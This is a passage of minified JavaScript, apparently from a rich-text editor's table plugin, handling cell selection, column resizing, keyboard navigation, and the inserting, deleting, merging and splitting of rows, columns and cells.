t=K(e);if(1===te().length&&null===t&&(A.toolbar.enable(),N()),(1===te().length&&t&&"TD"!==t.tagName&&"TH"!==t.tagName||!n&&!A.$tb.is(e.target)&&!A.$tb.is(T(e.target).closest(".fr-toolbar")))&&(A.toolbar.enable(),N()),("BODY"===e.target.tagName||"HTML"===e.target.tagName)&&!t&&0<te().length&&A.toolbar.enable(),!(1!=e.which||1==e.which&&A.helpers.isMac()&&e.ctrlKey)){if(r=!1,n)n=!1,K(e)||1!=te().length?0<te().length?A.selection.isCollapsed()?(g(),A.toolbar.enable()):(N(),A.edit.on()):te().length||(A.$el.removeClass("fr-no-selection"),A.edit.on()):N();if(y){y=!1,O.removeClass("fr-moving"),A.$el.removeClass("fr-no-selection"),A.edit.on();var a=parseFloat(O.css("left"))+A.opts.tableResizerOffset+A.$wp.offset().left;A.opts.iframe&&(a-=A.$iframe.offset().left),O.data("release-position",a),O.removeData("max-left"),O.removeData("max-right"),function R(){var e=O.data("origin"),t=O.data("release-position");if(e!==t){var a=O.data("first"),l=O.data("second"),n=O.data("table"),r=n.outerWidth();if(A.undo.canDo()||A.undo.saveStep(),null!=a&&null!=l){var o,s,i,f=x(n),c=[],d=[],p=[],h=[];for(o=0;o<f.length;o++)s=T(f[o][a]),i=T(f[o][l]),c[o]=s.outerWidth(),p[o]=i.outerWidth(),d[o]=c[o]/r*100,h[o]=p[o]/r*100;for(o=0;o<f.length;o++)if(s=T(f[o][a]),i=T(f[o][l]),f[o][a]!=f[o][l]){var u=(d[o]*(c[o]+t-e)/c[o]).toFixed(4);s.css("width",u+"%"),i.css("width",(d[o]+h[o]-u).toFixed(4)+"%")}}else{var g,b=n.parent(),m=parseFloat(b.css("padding-left")),v=parseFloat(b.css("padding-right")),w=m+v,C=r/(b.width()-w)*100,E=(parseInt(n.css("margin-left"),10)||0)/b.width()*100,y=(parseInt(n.css("margin-right"),10)||0)/b.width()*100;"rtl"==A.opts.direction&&0===l||"rtl"!=A.opts.direction&&0!==l?(g=(r+t-e)/r*C,n.css("margin-right","calc(100% - ".concat(Math.round(g).toFixed(4),"% - ").concat(Math.round(E).toFixed(4),"%)"))):("rtl"==A.opts.direction&&0!==l||"rtl"!=A.opts.direction&&0===l)&&(g=(r-t+e)/r*C,n.css("margin-left","calc(100% - ".concat(Math.round(g).toFixed(4),"% - ").concat(Math.round(y).toFixed(4),"%)"))),n.css("width","".concat(Math.round(g).toFixed(4),"%"))}A.selection.restore(),A.undo.saveStep(),A.events.trigger("table.resized",[n.get(0)])}O.removeData("origin"),O.removeData("release-position"),O.removeData("first"),O.removeData("second"),O.removeData("table")}(),W()}}}function F(e){if((!(T(e.currentTarget).is(T(e.originalEvent.relatedTarget))||e.currentTarget.contains(e.originalEvent.relatedTarget)||e.originalEvent.relatedTarget&&e.originalEvent.relatedTarget.contains(e.currentTarget))||e.currentTarget.querySelector("input, textarea"))&&(A.events.$on(T("input, textarea"),"click",le),!0===n&&0<A.opts.tableEditButtons.length)){if(T(e.currentTarget).closest("table").is(ae())){if("TBODY"===e.currentTarget.parentElement.parentElement.tagName&&"TD"==e.currentTarget.tagName&&0===A.$el.find("th.fr-selected-cell").length&&0===A.$el.find("tfoot td.fr-selected-cell").length)return void k(l,e.currentTarget);if("TFOOT"===e.currentTarget.parentElement.parentElement.tagName&&"TD"==e.currentTarget.tagName&&0===A.$el.find("tbody td.fr-selected-cell").length)return void k(l,e.currentTarget);if("TH"==e.currentTarget.tagName&&0===A.$el.find("td.fr-selected-cell").length)return void k(l,e.currentTarget)}"TD"!==e.currentTarget.tagName&&"TH"!==e.currentTarget.tagName&&S()}}function Y(e,t,a,l){for(var n,r=t;r!=A.el&&"TD"!=r.tagName&&"TH"!=r.tagName&&("up"==l?n=r.previousElementSibling:"down"==l&&(n=r.nextElementSibling),!n);)r=r.parentNode;"TD"==r.tagName||"TH"==r.tagName?function o(e,t){for(var a=e;a&&"TABLE"!=a.tagName&&a.parentNode!=A.el;)a=a.parentNode;if(a&&"TABLE"==a.tagName){var l=x(T(a));"up"==t?z($(e,l),a,l):"down"==t&&L($(e,l),a,l)}}(r,l):n&&("up"==l&&A.selection.setAtEnd(n),"down"==l&&A.selection.setAtStart(n))}function z(e,t,a){0<T(".tribute-container").length&&"none"!=T(".tribute-container").css("display")||(0<e.row?A.selection.setAtEnd(a[e.row-1][e.col]):Y(0,t,0,"up"))}function L(e,t,a){if(!(0<T(".tribute-container").length&&"none"!=T(".tribute-container").css("display"))){var l=parseInt(a[e.row][e.col].getAttribute("rowspan"),10)||1;e.row<a.length-l?A.selection.setAtStart(a[e.row+l][e.col]):Y(0,t,0,"down")}}function W(){O&&(O.find("div").css("opacity",0),O.css("top",0),O.css("left",0),O.css("height",0),O.find("div").css("height",0),O.hide())}function H(){f&&f.removeClass("fr-visible").css("left","-9999px")}function P(e,t){var a,l=T(t);l&&(a=l.closest("table"));var n=a.parent();if(t&&"TD"!=t.tagName&&"TH"!=t.tagName&&(0<l.closest("td").length?t=l.closest("td"):0<l.closest("th").length&&(t=l.closest("th"))),!t||"TD"!=t.tagName&&"TH"!=t.tagName)O&&l.get(0)!=O.get(0)&&l.parent().get(0)!=O.get(0)&&A.core.sameInstance(O)&&W();else{if(l=T(t),0===A.$el.find(l).length)return!1;var r=l.offset().left-1,o=r+l.outerWidth();if(Math.abs(e.pageX-r)<=A.opts.tableResizerOffset||Math.abs(o-e.pageX)<=A.opts.tableResizerOffset){var s,i,f,c,d,p=x(a),h=$(t,p),u=D(h.row,h.col,p),g=a.offset().top,b=a.outerHeight()-1;"rtl"!=A.opts.direction?e.pageX-r<=A.opts.tableResizerOffset?(f=r,0<h.col?(c=r-U(h.col-1,p)+A.opts.tableResizingLimit,d=r+U(h.col,p)-A.opts.tableResizingLimit,s=h.col-1,i=h.col):(s=null,i=0,c=a.offset().left-1-parseInt(a.css("margin-left"),10),d=a.offset().left-1+a.width()-p[0].length*A.opts.tableResizingLimit)):o-e.pageX<=A.opts.tableResizerOffset&&(f=o,u.col<p[u.row].length&&p[u.row][u.col+1]?(c=o-U(u.col,p)+A.opts.tableResizingLimit,d=o+U(u.col+1,p)-A.opts.tableResizingLimit,s=u.col,i=u.col+1):(s=u.col,i=null,c=a.offset().left-1+p[0].length*A.opts.tableResizingLimit,d=n.offset().left-1+n.width()+parseFloat(n.css("padding-left")))):o-e.pageX<=A.opts.tableResizerOffset?(f=o,0<h.col?(c=o-U(h.col,p)+A.opts.tableResizingLimit,d=o+U(h.col-1,p)-A.opts.tableResizingLimit,s=h.col,i=h.col-1):(s=null,i=0,c=a.offset().left+p[0].length*A.opts.tableResizingLimit,d=n.offset().left-1+n.width()+parseFloat(n.css("padding-left")))):e.pageX-r<=A.opts.tableResizerOffset&&(f=r,u.col<p[u.row].length&&p[u.row][u.col+1]?(c=r-U(u.col+1,p)+A.opts.tableResizingLimit,d=r+U(u.col,p)-A.opts.tableResizingLimit,s=u.col+1,i=u.col):(s=u.col,i=null,c=n.offset().left+parseFloat(n.css("padding-left")),d=a.offset().left-1+a.width()-p[0].length*A.opts.tableResizingLimit)),O||function E(){A.shared.$table_resizer||(A.shared.$table_resizer=T(document.createElement("div")).attr("class","fr-table-resizer").html("<div></div>")),O=A.shared.$table_resizer,A.events.$on(O,"mousedown",function(e){return!A.core.sameInstance(O)||(0<te().length&&B(),1==e.which?(A.selection.save(),y=!0,O.addClass("fr-moving"),S(),A.edit.off(),O.find("div").css("opacity",1),!1):void 0)}),A.events.$on(O,"mousemove",function(e){if(!A.core.sameInstance(O))return!0;y&&(A.opts.iframe&&(e.pageX-=A.$iframe.offset().left),J(e))}),A.events.on("shared.destroy",function(){O.html("").removeData().remove(),O=null},!0),A.events.on("destroy",function(){A.$el.find(".fr-selected-cell").removeClass("fr-selected-cell"),T("body").first().append(O.hide())},!0)}(),O.data("table",a),O.data("first",s),O.data("second",i),O.data("instance",A),A.$wp.append(O);var m=f-A.win.pageXOffset-A.opts.tableResizerOffset-A.$wp.offset().left,v=g-A.$wp.offset().top+A.$wp.scrollTop();if(A.opts.iframe){var w=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-top")),C=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-left"));m+=A.$iframe.offset().left+C,v+=A.$iframe.offset().top+w,c+=A.$iframe.offset().left,d+=A.$iframe.offset().left}O.data("max-left",c),O.data("max-right",d),O.data("origin",f-A.win.pageXOffset),O.css("top",v),O.css("left",m),O.css("height",b),O.find("div").css("height",b),O.css("padding-left",A.opts.tableResizerOffset),O.css("padding-right",A.opts.tableResizerOffset),O.show()}else A.core.sameInstance(O)&&W()}}function V(e,t){if(A.$box.find(".fr-line-breaker").isVisible())return!1;f||Q(),A.$box.append(f),f.data("instance",A);var a,l=T(t).find("tr").first(),n=e.pageX,r=0,o=0;if(A.opts.iframe){var s=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-top")),i=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-left"));r+=A.$iframe.offset().left-A.helpers.scrollLeft()+i,o+=A.$iframe.offset().top-A.helpers.scrollTop()+s}l.find("th, td").each(function(){var e=T(this);return e.offset().left<=n&&n<e.offset().left+e.outerWidth()/2?(a=parseInt(f.find("a").css("width"),10),f.css("top",o+e.offset().top-A.$box.offset().top-a-5),f.css("left",r+e.offset().left-A.$box.offset().left-a/2),f.data("selected-cell",e),f.data("position","before"),f.addClass("fr-visible"),!1):e.offset().left+e.outerWidth()/2<=n&&n<e.offset().left+e.outerWidth()?(a=parseInt(f.find("a").css("width"),10),f.css("top",o+e.offset().top-A.$box.offset().top-a-5),f.css("left",r+e.offset().left-A.$box.offset().left+e.outerWidth()-a/2),f.data("selected-cell",e),f.data("position","after"),f.addClass("fr-visible"),!1):void 0})}function j(e,t){if(A.$box.find(".fr-line-breaker").isVisible())return!1;f||Q(),A.$box.append(f),f.data("instance",A);var a,l=T(t),n=e.pageY,r=0,o=0;if(A.opts.iframe){var s=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-top")),i=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-left"));r+=A.$iframe.offset().left-A.helpers.scrollLeft()+i,o+=A.$iframe.offset().top-A.helpers.scrollTop()+s}l.find("tr").each(function(){var e=T(this);a=parseInt(f.find("a").css("width"),10);var t=r+e.offset().left-A.$box.offset().left;return t=0!==A.$box.offset().left?t-a-5:t+a-5,e.offset().top<=n&&n<e.offset().top+e.outerHeight()/2?(f.css("top",o+e.offset().top-A.$box.offset().top-a/2),f.css("left",t),f.data("selected-cell",e.find("td").first()),f.data("position","above"),f.addClass("fr-visible"),!1):e.offset().top+e.outerHeight()/2<=n&&n<e.offset().top+e.outerHeight()?(f.css("top",o+e.offset().top-A.$box.offset().top+e.outerHeight()-a/2),f.css("left",t),f.data("selected-cell",e.find("td").first()),f.data("position","below"),f.addClass("fr-visible"),!1):void 0})}function G(e){o=null;var t=A.doc.elementFromPoint(e.pageX-A.win.pageXOffset,e.pageY-A.win.pageYOffset);A.opts.tableResizer&&(!A.popups.areVisible()||A.popups.areVisible()&&A.popups.isVisible("table.edit"))&&P(e,t),!A.opts.tableInsertHelper||A.popups.areVisible()||A.$tb.hasClass("fr-inline")&&A.$tb.isVisible()||function r(e,t){if(0===te().length){var a,l,n;if(t&&("HTML"==t.tagName||"BODY"==t.tagName||A.node.isElement(t)))for(a=1;a<=A.opts.tableInsertHelperOffset;a++){if(l=A.doc.elementFromPoint(e.pageX-A.win.pageXOffset,e.pageY-A.win.pageYOffset+a),T(l).hasClass("fr-tooltip"))return!0;if(l&&("TH"==l.tagName||"TD"==l.tagName||"TABLE"==l.tagName)&&(T(l).parents(".fr-wrapper").length||A.opts.iframe)&&"false"!=T(l).closest("table").attr("contenteditable"))return V(e,T(l).closest("table")),!0;if(n=A.doc.elementFromPoint(e.pageX-A.win.pageXOffset+a,e.pageY-A.win.pageYOffset),T(n).hasClass("fr-tooltip"))return!0;if(n&&("TH"==n.tagName||"TD"==n.tagName||"TABLE"==n.tagName)&&(T(n).parents(".fr-wrapper").length||A.opts.iframe)&&"false"!=T(n).closest("table").attr("contenteditable"))return j(e,T(n).closest("table")),!0}A.core.sameInstance(f)&&H()}}(e,t)}function X(){if(y){var e=O.data("table").offset().top-A.win.pageYOffset;if(A.opts.iframe){var t=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-top"));e+=A.$iframe.offset().top-A.helpers.scrollTop()+t}O.css("top",e)}}function U(e,t){var a,l=T(t[0][e]).outerWidth();for(a=1;a<t.length;a++)l=Math.min(l,T(t[a][e]).outerWidth());return l}function q(e,t,a){var l,n=0;for(l=e;l<=t;l++)n+=U(l,a);return n}function J(e){if(1<te().length&&r&&S(),!1===r&&!1===n&&!1===y)o&&clearTimeout(o),A.edit.isDisabled()&&!A.popups.isVisible("table.edit")||(o=setTimeout(G,30,e));else if(y){var t=e.pageX-A.win.pageXOffset;A.opts.iframe&&(t+=A.$iframe.offset().left);var a=O.data("max-left"),l=O.data("max-right");a<=t&&t<=l?O.css("left",t-A.opts.tableResizerOffset-A.$wp.offset().left):t<a&&parseFloat(O.css("left"),10)>a-A.opts.tableResizerOffset?O.css("left",a-A.opts.tableResizerOffset-A.$wp.offset().left):l<t&&parseFloat(O.css("left"),10)<l-A.opts.tableResizerOffset&&O.css("left",l-A.opts.tableResizerOffset-A.$wp.offset().left)}else r&&H()}function Z(e){A.node.isEmpty(e.get(0))?A.opts.keepTextFormatOnTable&&A.browser.mozilla?e.append(ye.MARKERS):e.prepend(ye.MARKERS):e.prepend(ye.START_MARKER).append(ye.END_MARKER)}function Q(){A.shared.$ti_helper||(A.shared.$ti_helper=T(document.createElement("div")).attr("class","fr-insert-helper").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(A.language.translate("Insert"),'"><svg viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg"><path d="M22,16.75 L16.75,16.75 L16.75,22 L15.25,22.000 L15.25,16.75 L10,16.75 L10,15.25 L15.25,15.25 L15.25,10 L16.75,10 L16.75,15.25 L22,15.25 L22,16.75 Z"/></svg></a>')),A.events.bindClick(A.shared.$ti_helper,"a",function(){var e=f.data("selected-cell"),t=f.data("position"),a=f.data("instance")||A;"before"==t?(A.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertColumn(t),e.removeClass("fr-selected-cell"),A.undo.saveStep()):"after"==t?(A.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertColumn(t),e.removeClass("fr-selected-cell"),A.undo.saveStep()):"above"==t?(A.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertRow(t),e.removeClass("fr-selected-cell"),A.undo.saveStep()):"below"==t&&(A.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertRow(t),e.removeClass("fr-selected-cell"),A.undo.saveStep()),H()}),A.events.on("shared.destroy",function(){A.shared.$ti_helper.html("").removeData().remove(),A.shared.$ti_helper=null},!0),A.events.$on(A.shared.$ti_helper,"mousemove",function(e){e.stopPropagation()},!0),A.events.$on(T(A.o_win),"scroll",function(){H()},!0),A.events.$on(A.$wp,"scroll",function(){H()},!0)),f=A.shared.$ti_helper,A.events.on("destroy",function(){f=null}),A.tooltip.bind(A.$box,".fr-insert-helper > a.fr-floating-btn")}function ee(){l=null,clearTimeout(o)}function te(){return A.el.querySelectorAll(".fr-selected-cell")}function ae(){var e=te();if(e.length){for(var t=e[0];t&&"TABLE"!=t.tagName&&t.parentNode!=A.el;)t=t.parentNode;return t&&"TABLE"==t.tagName?T(t):T([])}return T([])}function le(){n=!1}return{_init:function ne(){if(!A.$wp)return!1;if(A.helpers.isMobile()&&(A.events.$on(A.$el,"mousedown",e),A.events.$on(A.$win,"mouseup",a)),!A.helpers.isMobile()){y=n=r=!1,A.events.$on(A.$el,"mousedown",e),A.popups.onShow("image.edit",function(){N(),n=r=!1}),A.popups.onShow("link.edit",function(){N(),n=r=!1}),A.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&N()}),A.events.$on(A.$el,"mouseover","th, td",F),A.events.$on(A.$win,"mouseup",a),A.opts.iframe&&A.events.$on(T(A.o_win),"mouseup",a),A.events.$on(A.$win,"mousemove",J),A.events.$on(T(A.o_win),"scroll",X),A.events.on("contentChanged",function(){0<te().length&&(g(),A.$el.find("img").on("load.selected-cells",function(){T(this).off("load.selected-cells"),0<te().length&&g()}))}),A.events.$on(T(A.o_win),"resize",function(){N()}),A.events.on("toolbar.esc",function(){if(0<te().length)return A.events.disableBlur(),A.events.focus(),!1},!0),A.events.$on(T(A.o_win),"keydown",function(){r&&n&&(n=r=!1,A.$el.removeClass("fr-no-selection"),A.edit.on(),A.selection.setAtEnd(A.$el.find(".fr-selected-cell").last().get(0)),A.selection.restore(),N())}),A.events.$on(A.$el,"keydown",function(e){e.shiftKey?!1===function o(e){var t=te();if(null!=t&&0<t.length){var a,l=x(),n=e.which,r=$(1==t.length?a=t[0]:(a=A.el.querySelector(".fr-cell-fixed"),A.el.querySelector(".fr-cell-handler")),l);if(ye.KEYCODE.ARROW_RIGHT==n){if(r.col<l[0].length-1)return k(a,l[r.row][r.col+1]),!1}else if(ye.KEYCODE.ARROW_DOWN==n){if(r.row<l.length-1)return k(a,l[r.row+1][r.col]),!1}else if(ye.KEYCODE.ARROW_LEFT==n){if(0<r.col)return k(a,l[r.row][r.col-1]),!1}else if(ye.KEYCODE.ARROW_UP==n&&0<r.row)return k(a,l[r.row-1][r.col]),!1}}(e)&&setTimeout(function(){g()},0):function s(e){var t=e.which,a=A.selection.blocks();if(a.length&&("P"!==(a=a[0]).tagName&&"DIV"!==a.tagName||(a=a.parentNode),"TD"==a.tagName||"TH"==a.tagName)){for(var l=a;l&&"TABLE"!=l.tagName&&l.parentNode!=A.el;)l=l.parentNode;if(l&&"TABLE"==l.tagName&&(ye.KEYCODE.ARROW_LEFT==t||ye.KEYCODE.ARROW_UP==t||ye.KEYCODE.ARROW_RIGHT==t||ye.KEYCODE.ARROW_DOWN==t)&&(0<te().length&&B(),A.browser.webkit&&(ye.KEYCODE.ARROW_UP==t||ye.KEYCODE.ARROW_DOWN==t))){var n=A.selection.ranges(0).startContainer;if(n.nodeType==Node.TEXT_NODE&&(ye.KEYCODE.ARROW_UP==t&&(n.previousSibling&&"BR"!==n.previousSibling.tagName||n.previousSibling&&"BR"===n.previousSibling.tagName&&n.previousSibling.previousSibling)||ye.KEYCODE.ARROW_DOWN==t&&(n.nextSibling&&"BR"!==n.nextSibling.tagName||n.nextSibling&&"BR"===n.nextSibling.tagName&&n.nextSibling.nextSibling)))return;e.preventDefault(),e.stopPropagation();var r=x(T(l)),o=$(a,r);return ye.KEYCODE.ARROW_UP==t?z(o,l,r):ye.KEYCODE.ARROW_DOWN==t&&L(o,l,r),A.selection.restore(),!1}}}(e)}),A.events.on("keydown",function(e){if(!1===function l(e){if(e.which==ye.KEYCODE.TAB){var t;if(0<te().length)t=A.$el.find(".fr-selected-cell").last();else{var a=A.selection.element();"TD"==a.tagName||"TH"==a.tagName?t=T(a):a!=A.el&&(0<T(a).parentsUntil(A.$el,"td").length?t=T(a).parents("td").first():0<T(a).parentsUntil(A.$el,"th").length&&(t=T(a).parents("th").first()))}if(t)return e.preventDefault(),!!(0===A.selection.get().focusOffset&&0<T(A.selection.element()).parentsUntil(A.$el,"ol, ul").length&&(0<T(A.selection.element()).closest("li").prev().length||T(A.selection.element()).is("li")&&0<T(A.selection.element()).prev().length))||(B(),e.shiftKey?0<t.prev().length?Z(t.prev()):0<t.closest("tr").length&&0<t.closest("tr").prev().length?Z(t.closest("tr").prev().find("td").last()):0<t.closest("tbody").length&&0<t.closest("table").find("thead tr").length&&Z(t.closest("table").find("thead tr th").last()):0<t.next().length?Z(t.next()):0<t.closest("tr").length&&0<t.closest("tr").next().length?Z(t.closest("tr").next().find("td").first()):0<t.closest("thead").length&&0<t.closest("table").find("tbody tr").length?Z(t.closest("table").find("tbody tr td").first()):(t.addClass("fr-selected-cell"),m("below"),N(),Z(t.closest("tr").next().find("td").first())),A.selection.restore(),!1)}}(e))return!1;var t=te();if(0<t.length){if(0<t.length&&A.keys.ctrlKey(e)&&e.which==ye.KEYCODE.A)return N(),A.popups.isVisible("table.edit")&&A.popups.hide("table.edit"),t=[],!0;if(e.which==ye.KEYCODE.ESC&&A.popups.isVisible("table.edit"))return N(),A.popups.hide("table.edit"),e.preventDefault(),e.stopPropagation(),e.stopImmediatePropagation(),!(t=[]);if(1<t.length&&(e.which==ye.KEYCODE.BACKSPACE||e.which==ye.KEYCODE.DELETE)){A.undo.saveStep();for(var a=0;a<t.length;a++)T(t[a]).html("<br>"),a==t.length-1&&T(t[a]).prepend(ye.MARKERS);return A.selection.restore(),A.undo.saveStep(),!(t=[])}if(1<t.length&&e.which!=ye.KEYCODE.F10&&!A.keys.isBrowserAction(e))return e.preventDefault(),!(t=[])}else if(!(t=[])===function n(e){if(e.altKey&&e.which==ye.KEYCODE.SPACE){var t,a=A.selection.element();if("TD"==a.tagName||"TH"==a.tagName?t=a:0<T(a).closest("td").length?t=T(a).closest("td").get(0):0<T(a).closest("th").length&&(t=T(a).closest("th").get(0)),t)return e.preventDefault(),k(t,t),g(),!1}}(e))return!1},!0);var t=[];A.events.on("html.beforeGet",function(){t=te();for(var e=0;e<t.length;e++)t[e].className=(t[e].className||"").replace(/fr-selected-cell/g,"")}),A.events.on("html.afterGet",function(){for(var e=0;e<t.length;e++)t[e].className=(t[e].className?t[e].className.trim()+" ":"")+"fr-selected-cell";t=[]}),c(!0),p(!0)}A.events.on("destroy",ee)},insert:function re(e,t){var a,l,n=function f(){var e={startTag:"",closeTag:""};if(A.opts.keepTextFormatOnTable){var t=T(A.selection.element().firstChild).parentsUntil(A.$el);e=h(t)}return{startTag:e.startTag,closeTag:e.closeTag}}(),r="<table "+(A.opts.tableDefaultWidth?'style="width: '+A.opts.tableDefaultWidth+';" ':"")+'class="fr-inserted-table"><tbody>',o=100/t;for(a=0;a<e;a++){for(r+="<tr>",l=0;l<t;l++)r+="<td"+(A.opts.tableDefaultWidth?' style="width: '+o.toFixed(4)+'%;"':"")+">"+n.startTag,0===a&&0===l&&(r+=ye.MARKERS),r+="<br>"+n.closeTag+"</td>";r+="</tr>"}if(r+="</tbody></table>",A.opts.trackChangesEnabled){A.edit.on(),A.events.focus(!0),A.selection.restore(),A.undo.saveStep(),A.markers.insert(),A.html.wrap();var s=A.$el.find(".fr-marker");A.node.isLastSibling(s)&&s.parent().hasClass("fr-deletable")&&s.insertAfter(s.parent()),s.replaceWith(r),A.selection.clear()}else A.html.insert(r);A.selection.restore();var i=A.$el.find(".fr-inserted-table");i.removeClass("fr-inserted-table"),A.events.trigger("table.inserted",[i.get(0)])},remove:u,insertRow:m,deleteRow:function oe(){var e=ae();if(0<e.length){var t,a,l,n=x(),r=M(n);if(null==r)return;if(0===r.min_i&&r.max_i==n.length-1)u();else{for(t=r.max_i;t>=r.min_i;t--){for(l=T(e.find("tr").not(e.find("> table tr")).get(t)),a=0;a<n[t].length;a++)if(0===a||n[t][a]!=n[t][a-1]){var o=T(n[t][a]);if(1<parseInt(o.attr("rowspan"),10)){var s=parseInt(o.attr("rowspan"),10)-1;1==s?o.removeAttr("rowspan"):o.attr("rowspan",s)}if(t<n.length-1&&n[t][a]==n[t+1][a]&&(0===t||n[t][a]!=n[t-1][a])){for(var i=n[t][a],f=a;0<f&&n[t][f]==n[t][f-1];)f--;0===f?T(e.find("tr").not(e.find("> table tr")).get(t+1)).prepend(i):T(n[t+1][f-1])[0].parentNode&&T(n[t+1][f-1])[0].insertAdjacentElement("afterend",i)}}var c=l.parent();l.remove(),0===c.find("tr").length&&c.remove(),n=x(e)}E(0,n.length-1,0,n[0].length-1,e),0<r.min_i?A.selection.setAtEnd(n[r.min_i-1][0]):A.selection.setAtEnd(n[0][0]),A.selection.restore(),A.popups.hide("table.edit")}}},insertColumn:function se(c){var e=ae();if(0<e.length){var d,p=x(),t=M(p);d="before"==c?t.min_j:t.max_j;var a,h=100/p[0].length,u=100/(p[0].length+1);e.find("th, td").each(function(){(a=T(this)).data("old-width",a.outerWidth()/e.outerWidth()*100)}),e.find("tr").not(e.find("> table tr")).each(function(e){for(var t,a=T(this),l=0,n=0;l-1<d;){if(!(t=a.find("> th, > td").get(n))){t=null;break}t==p[e][l]?(l+=parseInt(T(t).attr("colspan"),10)||1,n++):(l+=parseInt(T(p[e][l]).attr("colspan"),10)||1,"after"==c&&(t=0===n?-1:a.find("> th, > td").get(n-1)))}var r=T(t);if("after"==c&&d<l-1||"before"==c&&0<d&&p[e][d]==p[e][d-1]){if(0===e||0<e&&p[e][d]!=p[e-1][d]){var o=parseInt(r.attr("colspan"),10)+1;r.attr("colspan",o),r.css("width",(r.data("old-width")*u/h+u).toFixed(4)+"%"),r.removeData("old-width")}}else{var s,i=(r.get(0)||"").tagName;if(0<a.find("th").length&&"TH"===i)s='<th style="width: '.concat(u.toFixed(4),'%;"><br></th>');else{var f=b(p[e][d]);s='<td style="'.concat(r.attr("style"),"; width: ").concat(u.toFixed(4),'%;">')+f.startTag+"<br>"+f.closeTag+"</td>"}T(s).append("<br>"),T(s).css("width","".concat(u.toFixed(4),"%")),-1==t?a.prepend(s):null==t?a.append(s):"before"==c?r.before(s):"after"==c&&r.after(s)}}),e.find("th, td").each(function(){(a=T(this)).data("old-width")&&(a.css("width",(a.data("old-width")*u/h).toFixed(4)+"%"),a.removeData("old-width"))}),A.popups.isVisible("table.edit")&&g()}},deleteColumn:function ie(){var e=ae();if(0<e.length){var t,a,l,n=x(),r=M(n);if(null==r)return;if(0===r.min_j&&r.max_j==n[0].length-1)u();else{var o=0;for(t=0;t<n.length;t++)for(a=0;a<n[0].length;a++)(l=T(n[t][a])).hasClass("fr-selected-cell")||(l.data("old-width",l.outerWidth()/e.outerWidth()*100),(a<r.min_j||a>r.max_j)&&(o+=l.outerWidth()/e.outerWidth()*100));for(o/=n.length,a=r.max_j;a>=r.min_j;a--)for(t=0;t<n.length;t++)if(0===t||n[t][a]!=n[t-1][a])if(l=T(n[t][a]),1<(parseInt(l.attr("colspan"),10)||1)){var s=parseInt(l.attr("colspan"),10)-1;1==s?l.removeAttr("colspan"):l.attr("colspan",s),l.css("width",(100*(l.data("old-width")-U(a,n))/o).toFixed(4)+"%"),l.removeData("old-width")}else{var i=T(l.parent().get(0));l.remove(),0===i.find("> th, > td").length&&(0===i.prev().length||0===i.next().length||i.prev().find("> th[rowspan], > td[rowspan]").length<i.prev().find("> th, > td").length)&&i.remove()}E(0,n.length-1,0,n[0].length-1,e),0<r.min_j?A.selection.setAtEnd(n[r.min_i][r.min_j-1]):A.selection.setAtEnd(n[r.min_i][0]),A.selection.restore(),A.popups.hide("table.edit"),e.find("th, td").each(function(){(l=T(this)).data("old-width")&&(l.css("width",(100*l.data("old-width")/o).toFixed(4)+"%"),l.removeData("old-width"))})}}},mergeCells:function fe(){if(1<te().length&&(0===A.$el.find("th.fr-selected-cell").length||0===A.$el.find("td.fr-selected-cell").length)){_();var e,t,a=M(x());if(null==a)return;var l=A.$el.find(".fr-selected-cell"),n=T(l[0]),r=n.parent().find(".fr-selected-cell"),o=n.closest("table"),s=n.html(),i=0;for(e=0;e<r.length;e++)i+=T(r[e]).outerWidth();for(n.css("width",Math.min(100,i/o.outerWidth()*100).toFixed(4)+"%"),a.min_j<a.max_j&&n.attr("colspan",a.max_j-a.min_j+1),a.min_i<a.max_i&&n.attr("rowspan",a.max_i-a.min_i+1),e=1;e<l.length;e++)"<br>"!=(t=T(l[e])).html()&&""!==t.html()&&(s+="<br>".concat(t.html())),t.remove();n.html(s),A.selection.setAtEnd(n.get(0)),A.selection.restore(),A.toolbar.enable(),w(a.min_i,a.max_i,o);var f=o.find("tr:empty");for(e=f.length-1;0<=e;e--)T(f[e]).remove();v(a.min_j,a.max_j,o),g()}},splitCellVertically:function ce(){if(1==te().length){var e=A.$el.find(".fr-selected-cell"),t=parseInt(e.attr("colspan"),10)||1,a=e.parent().outerWidth(),l=e.outerWidth(),n=e.clone().html("<br>"),r=x(),o=$(e.get(0),r);if(1<t){var s=Math.ceil(t/2);l=q(o.col,o.col+s-1,r)/a*100;var i=q(o.col+s,o.col+t-1,r)/a*100;1<s?e.attr("colspan",s):e.removeAttr("colspan"),1<t-s?n.attr("colspan",t-s):n.removeAttr("colspan"),e.css("width",l.toFixed(4)+"%"),n.css("width",i.toFixed(4)+"%")}else{var f;for(f=0;f<r.length;f++)if(0===f||r[f][o.col]!=r[f-1][o.col]){var c=T(r[f][o.col]);if(!c.is(e)){var d=(parseInt(c.attr("colspan"),10)||1)+1;c.attr("colspan",d)}}l=l/a*100/2,e.css("width","".concat(l.toFixed(4),"%")),n.css("width","".concat(l.toFixed(4),"%"))}e[0].parentNode&&e[0].insertAdjacentElement("afterend",n[0]),N(),A.popups.hide("table.edit")}},splitCellHorizontally:function de(){if(1==te().length){var e=A.$el.find(".fr-selected-cell"),t=e.parent(),a=e.closest("table"),l=parseInt(e.attr("rowspan"),10),n=x(),r=$(e.get(0),n),o=e.clone().html("<br>");if(1<l){var s=Math.ceil(l/2);1<s?e.attr("rowspan",s):e.removeAttr("rowspan"),1<l-s?o.attr("rowspan",l-s):o.removeAttr("rowspan");for(var i=r.row+s,f=0===r.col?r.col:r.col-1;0<=f&&(n[i][f]==n[i][f-1]||0<i&&n[i][f]==n[i-1][f]);)f--;-1==f?T(a.find("tr").not(a.find("> table tr")).get(i)).prepend(o):T(n[i][f])[0].parentNode&&T(n[i][f])[0].insertAdjacentElement("afterend",o[0])}else{var 